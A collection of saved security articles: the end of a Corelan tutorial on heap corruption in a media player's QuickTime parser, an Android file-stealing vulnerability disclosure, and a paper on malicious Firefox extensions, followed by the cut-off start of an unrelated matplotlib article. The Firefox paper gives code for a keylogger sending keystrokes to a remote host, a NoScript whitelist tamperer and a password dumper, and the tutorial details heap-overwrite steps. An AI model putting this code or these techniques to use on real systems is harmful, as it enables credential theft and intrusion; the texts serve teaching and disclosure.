data\), this will write exactly 0xC bytes beyond out buffer**.**

And finally, as we discussed about we have two methods that we could
potentially use as targets for our fake chunks: pointers within the \_HEAP
structure and writable function pointers**.** The first that we’ll demonstrate
is a pointer located in the \_HEAP structure**.**

As we’re targeting the private heap with a base of 0×03200000, we’ll use the
same Freelist head \(Freelist\[2\]\), that we had used in the section
above**.** If we were to apply the heap chunk format to this data, it would
appear as follows:

[code]

    0:000> dc 03200180 L4
    03200180  03200180 03200180 03200188 03200188  .. ..**.** ... ..**.** .
    
    **Self Size: 0x180 (0xC00 bytes)**
    Previous Size: 0x320 (0x800 bytes) # Value has no affect on this attack
    Chunk Cookie: 0x80 # Value has no affect on this attack
    Chunk Flag: 0x1 # Value has no affect on this attack
    Unused: 0x20 # Value has no affect on this attack
    Segment Index: 0x3 # Value has no affect on this attack
    **Flink: Ptr32  -  0x03200188**
    **Blink: Ptr32  - 0x03200188**
[/code]

Finally, in addition to overwriting the Flink of our target chunk, we’re also
overwriting the 0×8 bytes of the heap chunk’s metadata which precedes it**.**
In order to ensure that our Flink is followed, we’ll set a Size and PrevSize
of 0×0001 \(0×8 bytes\)**.** The values applied to the remaining 0×4 bytes
will have no bearing on our exploitation**.**

Good. Now with this information we can begin crafting our “stsz” atom**.**
With the information listed above, it should now have the following structure:

> Please note: I’ve also replaced the Sample Size Table contents with a
> cyclical pattern**.**
[code]

    **Size:  0x00000048 (Causes allocation of 0x48 bytes)**
    Type:  0x7374737A (ASCII stsz) 
    Version:  0x00 
    Flags:  0x000000 
    Sample Size: 0x00000000
    **Number of Entries: 0x8000000100 (Causes allocation of 0x400 bytes)**
    Sample Size Table(1):  0x41613041
    Sample Size Table(2):  0x61314161
    ..**.**
    # Begins at file offset 0x134B
    **Self Size: 0x0001 (0xC00 bytes)**
    Previous Size: 0x0001 (0x800 bytes) # Value has no affect on this attack
    Chunk Cookie: 0x58 # Value has no affect on this attack
    Chunk Flag: 0x58 # Value has no affect on this attack
    Unused: 0x58 # Value has no affect on this attack
    Segment Index: 0x58 # Value has no affect on this attack
    **Flink: 0x03200180**
[/code]

Excellent**.** I hope you’re still with me**.** Next, we’ll need to craft the
“stco” atom so that it matches the allocation size specified by our fake
chunk**.** To do so, all we need to do is change the “size” element of the
“stco” atom to be 0xBF8 \(0xC00 – 0×8 to account for the heap header\)**.**
Also, if you recall earlier when we documented the structure of the “stco”
atom, the “number of entries” element, which controls our 7th allocation,
exists at offset 0xC from the start of the “stco” atom**.** Following that is
the “chunk offset table”**.** For demonstration purposes, let’s go ahead and
fill this with a cyclical pattern as well**.**

When it’s all said and done, your “stco” atom should look as follows:

[code]

    **Size:  0x00000BF8 (Triggers an allocation of 0xBF8 bytes)**
    Type:  0x7374636F (ASCII stco) 
    Version:  0x00 
    Flags:  0x000000 
    **Number of Entries: 0x000000008 (Triggers an allocation of 0x40 bytes) # Not necessary at the moment**
    Chunk Offset Table(1):  0x41613041
    Chunk Offset Table(1):  0x61314161
    ..**.**
[/code]

Excellent. Let’s go ahead and save these changes and observe the behavior in
our debugger**.** To avoid any discrepancies, I’ve included a sample which
includes all of the changes discussed above, which you can find here **.**

We’ll first set a breakpoint just after our write instructions have completed
\(GSFU**\!** DllUnregisterServer+0x236bd\) in order to determine that the
Flink has been successfully overwritten**.**

[code]

    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x032071f0, Header: 0x8 bytes, UserPtr: 0x032071f8, Flink: 0x03200188, Blink: 0x03200178, ChunkSize: 0x8 (8), Usersize: 0x-50 (-80) 
         ChunkPtr: 0x03200180, Header: 0x8 bytes, UserPtr: 0x03200188, Flink: 0x03200188, Blink: 0x03200188, ChunkSize: 0xc00 (3072), Usersize: 0xbe0 (3040)
[/code]

Excellent**.** Now that we’ve confirmed that our Flink has been overwritten
with our supplied value of 0×03200188, let’s go ahead and step forward until
our "stsz" chunk has been freed**.**

[code]

    0:000> bp ntdll!RtlFreeHeap "j ((poi(esp+4)==0x03200000) & (poi(esp+c)**!** =0)) '.printf \"RtlFreeHeap hHeap (0x%p), size=0x%p\\n\", poi(esp+c), wo(poi(esp+c)-8)*8-8; dc poi(esp+c) LC; .echo; 'g';"
    0:000> g
    **RtlFreeHeap hHeap (0x03207158), size=0x00000048**
    03207158  48000000 7a737473 00000000 00000000  ...Hstsz........
    03207168  0a000080 41306141 61413161 33614132  ....Aa0Aa1Aa2Aa3
    03207178  41346141 61413561 37614136 41386141  Aa4Aa5Aa6Aa7Aa8A
[/code]

Good**.** If we were to check the status of our LAL after the free operation
has completed we would see the following:

[code]

    LAL [10] @0x03200868, Expected Chunksize 0x50 (80), Flink : 0x03207158
      1 chunks:
         **ChunkPtr: 0x03207150, UserPtr: 0x03207158, Flink: 0x00000000, ChunkSize: 0x50, UserSize: 0x48, Userspace: 0x48 (Busy)**
[/code]

Next, let’s step through each of our allocations until we reach the allocation
responsible for containing our "stco" atom**.**

[code]

    bp ntdll!RtlAllocateHeap+0x117 "j (poi(@esp+4)==0x03200000) '.printf \"RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\n\", poi(@esp+4), poi(esp+c), eax'; 'g';"
    
    RtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207158
    **RtlAllocateHeap hHEAP 0x03200000, size=0xbf8, chunk at 0x03200188**
[/code]

Excellent**.** There’s several things to note about the information provided
above**.** First, we can see that our uncontrolled allocation of 0×48 bytes
was taken from our recently Freed entry on the LAL \(0×03207158\)**.** Next,
and most importantly we can see that we were in fact able to return a pointer
to our arbitrary location at the heap base \(0×03200188\)**.** Next, let’s set
a hardware breakpoint on our CommitRoutine \(0x0320057C\) to ensure that it
overwritten**.**

[code]

    0:000> ba w 4 0320057C
    0:000> g
    Breakpoint 3 hit
    eax=00000754 ebx=03204c90 ecx=000000c9 edx=00000754 esi=032053cc edi=032005b8
    eip=03c155fe esp=0012bd84 ebp=03200188 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
    GSFU**!** DllUnregisterServer+0x431e:
    03c155fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    
    dt _HEAP 03200000
    ...truncated..**.**
    **+0x57c CommitRoutine    : 0x42326842     long  +42326842**
[/code]

Great**.** Finally, let’s check the start of our allocated block to ensure
that the entire contents of our "stco" atom has been written**.**

[code]

    0:000> dc 0x03200188
    03200188  f80b0000 6f637473 00000000 08000000  ..**.**.stco........
    03200198  41306141 61413161 33614132 41346141  Aa0Aa1Aa2Aa3Aa4A
    032001a8  61413561 37614136 41386141 62413961  a5Aa6Aa7Aa8Aa9Ab
    032001b8  31624130 41326241 62413362 35624134  0Ab1Ab2Ab3Ab4Ab5
    032001c8  41366241 62413762 39624138 41306341  Ab6Ab7Ab8Ab9Ac0A
    032001d8  63413163 33634132 41346341 63413563  c1Ac2Ac3Ac4Ac5Ac
    032001e8  37634136 41386341 64413963 31644130  6Ac7Ac8Ac9Ad0Ad1
    032001f8  41326441 64413364 35644134 41366441  Ad2Ad3Ad4Ad5Ad6A
[/code]

Excellent**.** Here we can see that the contents of the “chunk offset table”
were used to overwrite much of the \_HEAP structure, particularly our target,
the RtlCommitRoutine located at 0x0320057C**.** With this, if we are able to
trigger an allocation request that is larger than the largest entry in
Freelist\[0\], we can gain control over the instruction pointer**.**

However, it seems that I’ve made quite a mess of the heap structure by
overwriting it with a cyclical pattern**.** Before we can make any other
allocations, we’ll need to replace it**.** And by “we”, I mean you. Good luck
;\)

Now it would seem that I’ve left you with a terrible ending to this
tactic**.** Guilty as charged. It’s 1:30AM at the time of writing and we have
one more minor item to cover**.** Earlier in this section, I mentioned that
you can also choose to target writable function pointers**.** However,
identifying these pointers by hand would be incredibly difficult**.**
Fortunately for us, the gracious corelanc0d3r has recently implemented some
changes to **\!** mona that make our task at hand much easier. Let’s take a
look at the new and improved “fwptr” function in **\!** mona:

[code]

    Usage of command 'fwptr' :
    ---------------------------
    Search for calls to pointers in a writeable location, 
    will assist with finding a good target for 4byte arbitrary writes
    Optional Arguments:
        -bp : Set breakpoints on all found CALL instructions
        -patch : Patch the target of each CALL with 0x41414141
        -chunksize <nr> : only list the pointer if location-8 bytes contains a size value larger than <nr>
                          (size in blocks, not bytes)
        -offset <nr> : add <nr> bytes of offset within chunk, after flink/blink pointer 
                      (use in combination with -freelist and -chunksize <nr>)
        -freelist : Search for fwptr that are preceeded by 2 readable pointers that can act as flink/blink
[/code]

Here we can see the addition of 3 new arguments: chunksize, offset, and
freelist**.** By specifying the "-freelist" argument, **\!** mona will attempt
to identify writable function pointers which represent a fake heap chunk**.**
And by that, I mean a writable function pointer which is preceded by 8
readable bytes and followed by two readable pointers \(which represent our
Flink and Blink\)**.** In cases where you cannot control the size of the
allocation which will use this "fake" chunk, you can specify the size of the
allocation in conjunction with the "-chunksize" argument**.** **\!** mona will
then display fake heap chunks which also match the requested allocation
size**.** And finally, under certain circumstances, you may not always be able
to control the first 4 bytes of an allocation**.** Therefore, it may be
necessary to find fake heap chunks which exist at a specified offset from our
writable function pointer**.** To satisfy this requirement, you can use the
"-offset" argument in conjunction with the respective offset of the allocation
where you can control the data being written**.** A perfect example of this is
our "stco" atom. Although we can essentially control the entire contents of
the atom, it would be preferable for us to use the contents of our "chunk
offset table" to overwrite a function pointer**.** This would require an
offset of 0xC \(12\) or more. Putting this all together, if we wanted to
identify writable function pointers which are preceded by a fake heap chunk by
a12 byte offset, where the size of these heap chunks do not matter \(as we
control the allocation size\), we can use the following syntax:

[code]

    **!** py mona fwptr -cm rebase=false -freelist -chunksize 1 -offset 0xC
[/code]

Running this command under GOM provides roughly 5000 results**.**
Unfortunately for us, many of them are not useable**.** This is because many
of these chunks often contain significantly larger than normal size value**.**
When using chunks with a size that is greater than the largest entry found in
Freelist\[0\], our subsequent allocation request used to retrieve this chunk
will trigger a call to RtlExtendHeap**.** Doing so will likely trigger an
access violation as we’ve corrupted the doubly-linked listed maintained by
Freelist\[0\]**.**

However, with this we still have some options**.** Seeing as how we can
perform essentially an n-byte overwrite, we can use this technique to
overwrite pointers that our adjacent to our usable heap chunks**.** Using
**\!** mona, you can also try using various offsets in order to find
additional usable heap chunks \(i**.** e**.** +0×12 or greater\).

A simple demo of this type of attack can be found here **.** This proof of
concept does NOT gain code execution**.** It simply demonstrates an arbitrary
n-byte write beginning at the following function pointer**.**

[code]

    0x7c88732c : 0x7c88732c gets called from kernel32.dll at 0x7c83dd67 (CALL DWORD PTR DS:[7C88732C]) -  Chunksize: 664 (0x298), UserPtr 0x7c887320, Flink 0x0044002e, Blink 0x004c004c -  {PAGE_READWRITE}
[/code]

Also, I’ve included a series of WinDbg breakpoints which I’ve found to be
helpful when analyzing this type of attach**.** Apply these breakpoints just
prior to your targeted allocation request:

[code]

    r @$t0 = 1
    bp 7c910ed2 ".printf \"\\nRetrieve size of last chunk in the list: 0x%04x\\n\", wo(eax); gc"
    bp 7c910ed5 ".printf \"Is final chunk larger than requested: \"; **.** if (@eax > @edi) {.printf \"Yes - (0x%p > 0x%p)\\n\", eax, edi;gc} .else {.printf \"No\\n\";gc}"
    bp 7c910edd ".printf \"Retrieving UserPtr of chunk in Freelist[0]: 0x%p\\n\", poi(ebp-28h); gc"
    bp 7c910ee0 ".printf \"Loading Flink of chunk 0x%x: 0x%p\\n\", @$t0, poi(eax); r@$t0=@$t0+1; gc"
    bp 7c910ef4 ".printf \"  Load ChunkSize: 0x%04x\\n\", wo(esi); gc"
    bp 7c910ef7 ".printf \"  Is chunk large enough to handle request (0x%p >= 0x%p): \", @ecx, @edi; **.** if (@ecx >= @edi) {.printf \"Yes\\n\";gc} .else {.printf \"No\\n\";gc}"
    bp 7c910f20 ".printf \"Performing Security Check: \"; **.** if (poi(@eax+4)!=@edi) {.printf \"Failed\\n\";gc} .else {.printf \"Passed\\n\";gc}"
    bp 7c910f86 ".printf \"Are chunk sizes different: \"; **.** if (@ebx and @ebx) {.printf \"Yes\\n\";gc} .else {.printf \"No\\n\";gc}"
    bp 7c910f8e ".printf \"Is difference more than 1 block: 0x%p\", @ebx; **.** if (@ebx>0x1) {.printf /ow \"\\nYes**.** Splitting block!  This will likely fail!\\n\\n\";gc} .else {.printf \"\\nNo\\n\\n\";gc}"
[/code]

An example of the output generated by these breakpoints can be found
below**.** Please note, that in the following example, I used the proof of
concept provided above which targets the writable function pointer located at
0x7c88732c

[code]

    Retrieve size of last chunk in the list: 0x021b
    Is final chunk larger than requested: Yes - (0x0000021b > 0x00000053)
    Retrieving UserPtr of chunk in Freelist[0]: 0x03200178
    Loading Flink of chunk 0x1: 0x032071f8
      Load ChunkSize: 0x0001
      Is chunk large enough to handle request (0x00000001 >= 0x00000053): No
    Loading Flink of chunk 0x2: 0x7c887320
      Load ChunkSize: 0x0053
      Is chunk large enough to handle request (0x00000053 >= 0x00000053): Yes
    Performing Security Check: Failed
    Heap corruption detected at 7C887320
    Are chunk sizes different: No
    RtlAllocateHeap hHEAP 0x03200000, size=0x290, chunk at 0x7c887320
[/code]

##### Why Not**?**

Before wrapping this up, I’d like to leave you with a few closing news in
regards to why I didn’t choose this method of exploitation**.**

There are several issues with targeting the \_HEAP base in this type of
attack**.** The primary issue at hand is that as the overflow occurs in a
private heap, the base address of this heap is likely unreliable**.**
Therefore, specifying a static address within the heap base may possibly
fail**.** Furthermore, by overwriting such a large portion of the \_HEAP
structure as we demonstrated above, you’ll likely need to reconstruct much of
it in your payload to ensure that future allocations do not cause access
violations as the proof of concept I’ve provided above, certainly will**.**
Also, targeting this type of attack also requires that we can control the size
of one additional allocation in order to trigger the RtlCommitRoutine**.**
Unfortunately in the example I’ve provided, we cannot as the next allocation
request, of 0×10 bytes, is out of our control**.** If we were able to get
LAL\[2\] populated with a free entry prior to this allocation, we could
control the following allocation, however at the time of writing, I was unable
to do so**.**

Now, when applying this type of attack to writable function pointers, we again
have no shortage of issues**.** During testing I was able to overwrite a
number of function pointers**.** However, none of these pointers were
triggered prior to triggering an access violation in the heap manager**.**
Furthermore, as I mentioned above, many of the pointers returned are in fact
unusable as the size of these requests are likely larger than the largest
current entry within Freelist\[0\], and are also likely larger than the
maximum possible size of an entry maintained by Freelist\[0\]**.** Again, I do
believe that it is in fact possible to target writable function pointers by
utilizing our n-byte write in combination with various writable function
pointer to fake chunk offsets, however at the time of writing, I was unable to
do so**.**

### Conclusion****

In closing, I’d simply like to reiterate the notion that I had first mentioned
in my previous article**.** There are many ways to EIP. Depending on your
application, the level of control you can exhibit over the heap, and how
determined you are, there likely will always be a way**.** Atleast, that’s
what we hope.

Also for those keeping count, **\!** exploitable: 1 for 2. Let’s see what
happens next time…

And with that I’d just like to thank my friends over at Corelan for giving me
the opprotunity to release this work under their umbrella**.** I’d also like
to thank them for the numerous hours they spent reviewing this document,
listening to me complain about the nusances of the QT file format, and just
generally being helpful**.** And thanks to corelanc0d3r specifically for
implementing some of my wacky ideas into **\!** mona even when they didn’t pan
out.

Thanks fellas**\!**

#### Recommended Reading****

Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass  – Alexander
Anisimov \(2004\)

Exploiting Freelist\[0\] On XP SP2  – Brett Moore \(2005\)

Heaps about Heaps  – Brett Moore \(2005\)

Practical Windows XP/2003 Heap Exploitation  – John McDonald & Chris Valasek
\(2009\)

* * *
© 2013, Corelan Team \(Jason Kratzer\) **.** All rights reserved.

### Related Posts**** :

****

# Android Data Stealing Vulnerability | thomascannon.net
**Created:**| _11/24/2010 5:38:43 PM_  
---|---  
**Updated:**| _11/24/2010 5:39:01 PM_  
**Author:**| __  
**Tags:**| _Exploit vulnerability Disclosure android_  
  

## Android Data Stealing Vulnerability

While doing an application security assessment one evening I found a general
vulnerability in Android which allows a malicious website to get the contents
of any file stored on the SD card. It would also be possible to retrieve a
limited range of other data and files stored on the phone using this
vulnerability.

The vulnerability is present because of a combination of factors. I’ve been
asked nicely to remove some details from the following section, and as my
intention is to inform people about the risk, not about how to exploit users,
I’ve agreed:

  * The Android browser doesn’t prompt the user when downloading a file, for example **`"payload.html"`**, it automatically downloads to **`/sdcard/download/payload.html`**
  * It is possible, using JavaScript, to get this payload to automatically open, causing the browser to render the local file.
  * When opening an HTML file within this local context, the Android browser will run JavaScript without prompting the user.
  * While in this local context, the JavaScript is able to read the contents of files \(and other data\).

Then, once the JavaScript has the contents of a file it can post it back to
the malicious website. This is a simple exploit involving JavaScript and
redirects, meaning it should also work on multiple handsets and multiple
Android versions without any effort.

One limiting factor of this exploit is that you have to know the name and path
of the file you want to steal. However, a number of applications store data
with consistent names on the SD card, and pictures taken on the camera are
stored with a consistent naming convention too. It is also not a root exploit,
meaning it runs within the Android sandbox and cannot grab all files on the
system, only those on the SD card and a limited number of others.

A demonstration of the proof of concept exploit in action can be seen in the
video embedded below. The demo uses the Android emulator with Android 2.2
\(Froyo\) and I have also successfully tested it on an HTC Desire with Android
2.2. In the demo I first create a file on the SD card of the Android device,
then I visit the malicious page and it grabs the file and uploads it to the
server automatically.

View on Vimeo or download original.

I notified the Android Security Team on 19-Nov-2010 and to their credit they
responded within 20 minutes, took it seriously, and started an investigation
into the issue. They have since updated me to say they are aiming for a fix to
go into a Gingerbread maintenance release after Gingerbread \(Android 2.3\)
becomes available. I have been advised that I can also mention an initial
patch has already been developed, which is being evaluated.

Responsible disclosure would normally prevent me from publishing the advisory
while there is a chance the users will get a fix in a reasonable time frame.
However, despite the speed at which Google has worked to develop a patch I
don’t believe this can happen. The reason is that Android OS updates usually
rely on OEMs and carriers to provide an update for their devices. Not all OEMs
are providing Android OS updates to all of their devices, and the ones that
are we have seen are not always doing it in a timely fashion. There may be
legitimate reasons for this but the bottom line is there will still be a great
deal of devices exposed for quite some time or perhaps forever, including my
own.

Better that we know now and have the chance to protect ourselves, or at least
understand the risk. I don’t expect to see the exploitation of this issue
become widespread, but if you are really worried about it there are a few
things you can do to identify it or prevent it:

  * When the payload is downloaded it generates a notification in the notification area, so watch for any suspicious automatic downloads. It shouldn’t happen completely silently.
  * You can disable JavaScript in the browser \(uncheck “Settings > Enable JavaScript”\)
  * You can use a browser such as Opera Mobile for two reasons: 1\) It prompts you before downloading the payload 2\) If a vulnerability is found you can easily update a 3rd party browser after they release a fix.
  * Google have advised that another option is to unmount the SD card \(“Settings > SD & phone storage”\). This could have an impact on the usability of the device but for some situations, perhaps in organisations, I can see this could work. It has not been fully tested, however.

A word of caution though, you may prevent the automatic exploit this way, but
as always you will still need to be vigilant and watch for other vectors, such
as an HTML file sent through email.

For those of you who assess the security of products for use in a corporate
environment, you’ll know that this kind of advisory is essential in making
accurate risk assessments and informed decisions before your business commits
to a direction which will later leave it vulnerable. I do not mean to say
Android is not a suitable platform for corporate use, like any mobile
technology it entirely depends on the use case, compensating controls, risk
appetite and so on. I hope this information helps you in the decisions you may
be facing right now and goes some way to suggesting a suitable mitigation.

**Update:** I’d like to thank Heise Security for their help to independently
validate the issue on a couple of their devices.

# Mozilla Firefox Internals & Attack Strategies | ClubHACK Magazine
**Created:**| _4/10/2011 11:37:21 AM_  
---|---  
**Updated:**| _4/10/2011 11:37:21 AM_  
**Author:**| __  
**Tags:**| _attacks browser_  
  

## Mozilla Firefox Internals & Attack Strategies

Prasanna Kanagasabai

Article

<img src='img/Temp2_5504.jpg' width='324' height='324' />

This paper aims to detail some of the techniques and methods that exist to
subvert a fully patched and functioning browser Firefox. This aims to provide
insight to developers and end users on some methodologies which could be used
by malicious users. We will understand some of the basic important components
that make up the Mozilla platform and various attacks that can be targeted
against it.  
Firefox is a trusted browsing platform used by millions across the globe. It
is a platform that is used by experts and novices. One of the biggest
advantages and reason for massive success of Mozilla is an extensible plug-in
model which allows the developers add additional features to the Mozilla
Firefox environment than what was perceived by the original writers. Our topic
of discussion is focused around these extension modules and how a malicious

developer can use some of these powerful features to subvert a Firefox and the
underlying systems. The Code of extension runs with the same privilege that
the browser enjoys.

Let’s begin with a very brief idea of some of the important components that
make a Firefox extension.  
\* This is for ff3.6 and not yet tested with ff4.

Chrome  
Chrome is used to indicate a special trust zone within Firefox; Firefox
extensions that run in this zone enjoy a whole lot of trust by the browser.  
Chrome resources are defined by use of a special URL scheme “chrome: //”
Example: chrome://messenger/content/messenger.xul

XUL  
XUL \(XML User Interface Language\) is Mozilla's XML-based language that lets
you build feature-rich cross platform applications that can run connected or
disconnected from the Internet. XUL overlays are a way of extending the user
interface and behavior. For example is the new menu item or a button on status
bar.

XBL  
XBL \(XML Binding Language\) allows the definition of new XML nodes/elements
or custom tags. Custom tags can inherit processing logic. The connection
between the new tag and the processing logic is called a binding. The object
logic can be written to take advantage of any of the services available to the
platform, including all the XPCOM objects and other custom tags that possess
their own bindings. XML content and XPCOM can be tied together via an XBL
binding. The “tabbed navigation” in Firefox is an example of XBL.

XPCOM  
XPCOM is the lowest layer of the Mozilla platform architecture. XPCOM provides
functionality and its extensions. XPCOM interfaces are used by the browser and
extensions to provide multiple functionalities to the user.  
XPCOM components can be built in many programming languages some are C++,
Python, and Java. XPconnect is the JavaScript interface to XPCOM objects.
Extensions can create new components after installation.

Each one of these components can be used by malicious user for his gains.

<img src='img/Temp2_5503.jpg' width='537' height='376' />  
**The Full Mozilla Components Map**

Extensions Installation  
Firefox extension which is commonly known with an extension of “XPI” is
nothing but a Zipped Archive. This means a user can use any unzip solution
like “winzip” to effectively examine the contents of an extension.

Extensions can be downloaded from “https://addons.mozilla.org/en-US/firefox/”.
There exists a peer review of extensions performed before Mozilla places the
extension on its site. But the point of concern is that security testing is
not of utmost importance for testers. The second issue that has surfaced is
the possibility of extensions which are hosted at Mozilla but without code
review.These are mostly experimental in nature. The sheer number of extensions
is overwhelming.Today the number of extensions has crossed more than 2 billion
and growing.

XPI file can be hosted on any website and can be downloaded and installed on
the target system. Any malicious user with some social engineering experience
can easily convince a user to use his XPI. The other aspect I would like to
bring to notice is the fact that many organizations seem to offer extensions
like a DLP solutions company offering an extension to scan outgoing data via
Firefox extensions. The question then remains as to who performs analysis of
these extensions.

The third method of installation is in the way Mozilla provides a method where
a filename with id of the extension and the contents of the file stores the
location were the extension files are stored this file has to be stored in the
extensions folder of Mozilla which is typically in program-files folder or the
Mozilla directory in the profiles directory. When Mozilla restarts it
automatically installs the extension no questions asked.

A startling find that I made when working with Mozilla extensions is that the
extension executable scripts could be stored on a remote machine in a share.

By default Mozilla does not allow files to be loaded from network but if it is
a mapped drive then Mozilla treats it like a local disk and goes ahead and
installs the extension. This functionality can be abused. Worst case scenario
I could imagine is attacks by a malicious USB injecting a simple text file
into a victim machine and the text file pointing to a malicious code on a
remote zip drive. This same activity could be performed by a malicious Active
directory administrator owing browser rights across the enterprise.

Though a code review is performed by Mozilla before getting the add-ons
published on their site, some of the concerns that exist are

  * The add-on is not signed as of today.
  * The sheer number of add-on is overwhelming.
  * The ease of making an add-on could add to the problem.
  * The availability of experimental add-ons and extension that have not gone through the review process.
  * Future upgrades to an add-on could add some malicious content.

<img src='img/Temp2_5502.jpg' width='537' height='513' />  
**Extensions are everywhere**

Attacking Firefox  
In the second part of this paper we will focus on attacking Firefox in this
section we will discuss how easy it is to build malicious extensions and then
go on to discuss cross context switching\(xcs\).

Malicious Extensions  
To keep this paper short I will discuss

  * How to build a Key logger with XMLHTTP and event listener
  * How to build an extension that writes a malicious site to “No-Script” white list.
  * How to build an extension that steals stored passwords.

Key Logger  
We can create a simple key logger by just using event listener which will
record all keystrokes and then use XMLHTTP request to a remote site. The point
to note here is that extensions don’t follow single origin policy thus an
extension that records a password from your banking site can send it to a
malicious site.  
Code:-  
**document.addEventListener\( "keypress", onkey,false\);  
var keys='';  
function onkey\(e\)\{  
keyss+=String.fromCharCode\(e.charCode\);  
if \(keys.length>20\)\{  
http=new XMLHttpRequest\(\);  
url =
"http://\*\*\*\*\*\*\*\*\*\*\*.com/prasannak/ler\*\*\*\*.php?keylog="+keyss+"\n";  
http.open\("GET",url,false\);  
http.send\(null\);  
keyss='';**

No-Script Bypass  
We will use XPCOM classes and components to add a malicious site to no-script
white list which will effectively render no-script protection useless?

**let Sub\_btn = \{  
onCommand: function\(event\) \{**

var perfs = Components.classes\["@mozilla.org/preferences-service;1"\].  
getService\(Components.interfaces.nsIPrefService\);  
perfs = perfs.getBranch\("capability.policy.maonoscript."\);  
perfs.setCharPref\("sites", "default noscript whitelisted sites +
-iblocked.com"\);

Password Stealer  
We will use XPCOM classes and components to build a Firefox stored password
stealer.Code:-

**let HelloWorld = \{  
onCommand: function\(event\) \{  
var l2m = Components.classes\["@mozilla.org/login-manager;1"\].  
getService\(Components.interfaces.nsILoginManager\);  
alltheinfo = l2m.getAllLogins\(\{\}\);  
for \(i=0; I<=alltheinfo.length;i=i+1\)\{  
alert\(alltheinfo\[i\].password\)  
\}  
\}  
\};**

These were some of the sample malicious scripts that were scripted using basic
and legal functions approved by Mozilla to produce some very malicious
extensions. The malicious extensions are limited only to the imagination of a
malicious creator.

Cross Context Switching \(XCS\)  
The attack \(xcs\) was first found by “pdp”. This was found against an
extension called sage. XCS involves a concept of making malicious code moving
from one realm to the other, like a code in the website being executed by the
resident extension. A major harm caused by such an attack would be that a user
could be compromised by just visiting the web location.

Attacking DOM & Event Handlers  
Event handlers implement the properties attributes and behavior of an element.
When a DOM element is dragged and drooped it takes with it the attributes
properties and behavior with it. This could be a maliciously used if an
extension code trusted the code that was dropped by a malicious DOM element.

CreateEvent\(\) could be used to send custom events which could also include
the extensions itself. In this example we will create an extension which
listens for customs events and does certain activity like loading a dynamic
XUL.

This could be exploited by a malicious user by making the user go to a page
controlled by him which has code create a custom event to send the location of
the malicious XUL hosted by him.

The extension on receiving the event loads the Malicious XUL from an arbiter
location and as the XUL file now runs as part of Chrome it is free to do any
malicious activity like the ones discussed in the previous section “Malicious
Extensions”

As of Firefox version 3.5 “loadoverlay ” function does not take “http” based
Xul requests but does allow XUL from “Chrome:\\\”. Though this fixes the
problem of a malicious user loading malicious content from internet but the
threat of loading malicious XUL from a Map Drive still exists.

Code:-

Extension XUL Code

**< script>  
var customExtension = \{  
customListener: function\(evt\) \{  
document.loadOverlay\(evt.target.getAttribute\("url"\), null\);  
\}  
\}  
document.addEventListener\("CustomEvent", function\(e\) \{  
customExtension.customListener\(e\); \}, false, true\);  
</script>  
Malicious Web Location Code  
<html>  
<head>  
<title>Test</title>  
<script>  
var element = document.createElement\("CustomExtensionDataElement"\);  
element.setAttribute\("url", "chrome://hellooworld/content/q1.xul"\);  
document.documentElement.appendChild\(element\);  
var evt = document.createEvent\("Events"\);  
evt.initEvent\("CustomEvent", true,false\);  
element.dispatchEvent\(evt\);  
</script>  
</head>  
<body>  
<p>  
This Test Page </p>  
</body>  
</htmL>**

Bypassing Wrappers  
Multiple wrappers exist within Mozilla framework that acts as firewalls
segregating the code from different zones. A developer, for ease of use could
bypass these firewalls thus compromising the Firefox eco-system to malicious
XCS attacks.

We will create a Firefox extension that bypasses such a wrapper using the
“wrappedJSObject” to access variables in the document Zone and use this
content in the privileged chrome zone. The extension developer uses another
potentially vulnerable function “eval\(\)”. He grabs the content from document
and runs it through eval\(\) in the chrome zone which allow a malicious user
to inject malicious JavaScript code that will be executed by the eval
function.  
Code:-

Extension Code

**function Test\_Function\(\)  
\{  
test = my\_message  
if \(test==null\)  
\{  
alert\("Wrapper Exists"\)  
\}  
else\{  
alert\(test\);  
trim = window.content.wrappedJSObject.my\_message1  
eval\(trim\);  
\}  
\}**

Malicious Website Code

**< html>  
<head>  
<title>Test</title>  
<script>  
var dir= "123";  
my\_message1="eval\("eval\(dirService =
Components.classes\['@mozilla.org/file/directory\_service;1'\].getService\(Components.interfaces.nsIProperties\);\)\)eval\(
homeDirFile = dirService.get\('Home', Components.interfaces.nsIFile\);\)
eval\(homeDir = homeDirFile.path;\) eval\(alert\(homeDir\);\)\)"\)\)"  
</script>  
</head>  
<body>  
<p>  
This Test Page </p>  
</body>  
</htmL>**

Protection for end Users  
Some points that end users can keep mind for keeping their Firefox environment
safe are:-

  * Suspicious single file\(s\) in the extension folder.
  * XPI are archives - can be un-Zipped and checked for any packaged executables
  * Check the install.rdf for common pitfalls mainly <em:hidden>
  * Verify chrome.manifest does not point to other extension folders as it can overwrite functionality.

Measures that Developers can take:-

  * That’s a whole paper by itself
  * Don’t bypass wrappers
  * Don’t trust content from the un-trusted context.
  * Don’t use eval\(\)

**Follow this link:**  
https://developer.mozilla.org/en/Security\_best\_practices\_in\_extensions

Last Words  
In this paper we discussed some components that make the Firefox extensions.
This by far is not the end with new features like the skins extensions that
don’t need a re-start bring newer problems. I believe Firefox is a powerful
system that could be used both good and bad. It helps for users to be a bit
cautious when using new extensions and developers when developing new
extension should take care to avoid known pitfalls.  

# Effectively Using Matplotlib - Practical Business Python

**Created:**| _6/30/2017 8:31:06 PM_  
---|---  
**Updated:**| _6/30/2017 8:31:06 PM_  
**Author:**| __  
**Tags:**| _python visualization_  
  

  

_ _

# Practical Business Python

Taking care of business, one python script at a time

Tue 25 April 2017

#  Effectively Using Matplotlib

Posted by Chris Moffitt in  articles

<img src='img/Temp2_2533.png' width='813' height='428' alt='article header
image' />

## Introduction

The python visualization world can be a frustrating place for a new user.
There are many different options and choosing the right one is a challenge.
For example, even after 2 years, this article is one of the top posts that
lead people to this site. In that article, I threw some shade at matplotlib
and dismissed it during the analysis. However, after using tools such as
pandas, scikit-learn, seaborn and the rest of the data science stack in python
- I think I was a little premature in dismissing matplotlib. To be honest, I
did not quite understand it and how to use it effectively in my workflow.

Now that I have taken the time to learn some of these tools and how to use
them with matplotlib, I have started to see matplotlib as an indispensable
tool. This post will show how I use matplotlib and provide some
recommendations for users getting started or users who have not taken the time
to learn matplotlib. I do firmly believe matplotlib is an essential part of
